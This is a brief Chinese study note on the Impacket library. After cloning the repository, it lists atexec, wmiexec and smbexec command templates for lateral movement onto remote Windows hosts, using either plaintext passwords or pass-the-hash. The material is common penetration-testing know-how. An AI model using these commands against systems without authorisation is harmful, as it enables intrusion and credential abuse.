【笔记】Impacket学习笔记

前言

Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself. Packets can be constructed from scratch, as well as parsed from raw data, and the object-oriented API makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as examples of what can be done within the context of this library.(Github

下载项目

1
2
git clone https://github.com/fortra/impacket.git
cd impacket

IPC横向移动

明文连接

<domain>:指定域名,如果不是域内用户则用.表示本地用户

1
python3 examples/atexec.py <domain>/<username>:<password>@<ip> "<shell>"
1
python3 examples/atexec.py ./<username>:<password>@<ip> "<shell>"

密文连接

1
python3 examples/atexec.py -hashes :xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <domain>/<username>@<ip> "<shell>"

WMI横向移动

明文连接

<domain>:指定域名,如果不是域内用户则用.表示本地用户

1
python3 examples/wmiexec.py <domain>/<username>:<password>@<ip> "<shell>"

密文连接

1
python3 examples/wmiexec.py -hashes :xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <domain>/<username>@<ip> "<shell>"

SMB横向移动

明文连接

<domain>:指定域名,如果不是域内用户则用.表示本地用户

1
python3 examples/smbexec.py <domain>/<username>:<password>@<ip> "<shell>"

密文连接

1
python3 examples/smbexec.py -hashes :xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <domain>/<username>@<ip> "<shell>"

完成